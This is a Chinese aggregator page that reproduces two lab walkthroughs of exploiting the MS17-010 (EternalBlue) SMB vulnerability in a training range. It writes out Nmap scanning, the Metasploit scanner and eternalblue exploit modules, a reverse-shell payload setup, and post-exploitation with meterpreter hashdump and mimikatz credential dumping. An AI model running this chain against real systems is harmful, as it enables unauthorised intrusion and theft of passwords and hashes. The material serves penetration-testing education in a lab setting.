MS17-010远程溢出漏洞(CVE-2017-0143)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MS17-010远程溢出漏洞(CVE-2017-0143)相关的知识,希望对你有一定的参考价值。

参考技术A

Nmap :端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能

mestasploit :开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件

漏洞原理简述

MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理 FEA (File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。

函数 srv!SrvOs2FeaListToNt 在将 FEA list转换成 NTFEA (Windows NT FEA) list前会调用 srv!SrvOs2FeaListSizeToNt 去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。

曾经NSA工具箱泄露时,我们已经对永恒之蓝这个工具的使用做过讲解! 【NSA黑客工具包】Windows 0day验证实验 。

然而,该工具的使用环境比较苛刻,而且操作较为复杂,现在msf已经加入该系列工具,使用方法更便捷。接下来,就开始操作吧!

打开Kali终端,使用Nmap对目标机开放端口进行扫描

目标机开放了 135 139 445 3389 等端口,且目标机系统为Windows7,

我们使用用扫描模块,判断该漏洞是否可利用

终端内输入

打开 metasploite 命令行客户端,使用 search 命令查找ms17-010漏洞的相关模块

如下是相关可用模块

使用 use 命令选择我们要使用的扫描模块

在运行该模块之前,需要设置相关选项,我们使用 show options 查看配置信息

需要设置目标地址,设置命令:

设置完成后,执行 run 或 exploit 命令,等待执行结果

从上一步骤可以看出,该漏洞是可被利用的,接下来,我们祭出漏洞利用模块

步骤同上,查看配置信息,并设置标记为yes的属性

show options

目标机host地址:172.16.12.2

set RHOST 172.16.12.2

之后,选择载荷 payload ,也就是 shellcode ,此处我们选择回连至控制端 shell 的 payload

同样,载荷也需要进行配置, show options 查看配置信息

配置中缺少本地主机 RHOST,设置一下

完成配置后,运行 exploit 或者 run ,开始执行漏洞利用模块

成功获取来自目标主机的Session会话

我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能

运行 sysinfo 查看目标机器相关信息

执行 help 命令可以帮助我们了解meterpreter有哪些功能

接下来,我们获取目标机hash值

执行 hashdump

mimikatz 是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等, meterpreter 中正集成了这款工具。

执行 load mimikatz 即可加载该工具,其命令与 mimikatz 一样

运行命令 msv ,导出hash

然后执行 kerberos 即可获得目标机账号密码

获取了目标机的账号密码,我们结合nmap的扫描结果,可以远程登陆目标机 但是现实中,防火墙一般会拦截外来3389端口的访问请求,这种情况下该怎么解决呢?

我们可以使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行连接

运行命令

此处,我们将远程目标的3389端口,转发到本机 172.16.11.2的3389上

如此,我们只要执行

即可登陆远程目标机器

通过本次实验,我们熟悉了从发现漏洞、到验证漏洞、再到利用漏洞这一过程,并进一步学习了Metasploit的后渗透模块的其他使用案例。

通过结合实例去学习MSF的使用,反复训练,相信大家一定能熟能生巧,彻底掌握这一工具。

MS17-010远程溢出漏洞(CVE-2017-0143)拿权限

0x00
我这边用的是安界网的靶场
http://vnc.ajsafe.com/experi/article/164.html
首先来开启靶场
关于漏洞的介绍:MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。 函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
0x01漏洞扫描
首先我们来ping一下目标靶机
技术图片
可以看到是成功的
在来看一下目标机开发的端口
利用工具nmap命令如下

nmap -sV -Pn 192.168.0.2
一定要记住Linux需要区分大小写
技术图片
可以看到开放了 135 139 445 端口
我们使用扫描模块看该漏洞是否可以利用命令如下
msfconsole
技术图片
这边可以看到是可以利用的
打开 metasploite 命令行客户端,使用search命令查找ms17-010漏洞的相关模块
search ms17-010
技术图片
使用use命令选择我们要使用的扫描模块
use auxiliary/scanner/smb/smb_ms17_010
技术图片
需要设置目标地址,设置命令:
set RHOSTS 192.168.0.2
技术图片
然后直接run或者exploit 两个命令意思相同执行结果一样
技术图片
我这边是直接run
0x02漏洞利用
从上一步骤可以看出,该漏洞是可被利用的,接下来,我们使用漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
技术图片
查看配置信息,并设置标记为yes的属性
show options
技术图片
目标机host地址:192.168.0.2
set RHOSTS 192.168.0.2
之后,选择载荷payload,也就是shellcode,此处我们选择回连至控制端shell的payload
技术图片
配置中缺少本地主机 LHOST,设置一下
set LHOST 192.168.0.3
本地端口LPORT默认为4444,可通过set LPORT 端口号修改
完成配置后,运行exploit或者run,开始执行漏洞利用模块
技术图片
0x04远程登录目标机
我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能
运行sysinfo查看目标机器相关信息
sysinfo
技术图片
中文乱码问题不打紧不打紧
执行help命令可以帮助我们了解meterpreter有哪些功能
help
技术图片
接下来,我们获取目标机hash值
执行hashdump
hashdump
技术图片
ok了本次内容就到这里希望大家也去练习练习




























































以上是关于MS17-010远程溢出漏洞(CVE-2017-0143)的主要内容,如果未能解决你的问题,请参考以下文章

内网远程溢出漏洞利用

[工具编写][漏洞研究]MS17-010分析-上

ms17-010永恒之蓝病毒复现

MS17-010永恒之蓝漏洞利用

MS17-010漏洞复现

MS17-010(永恒之蓝)漏洞分析与复现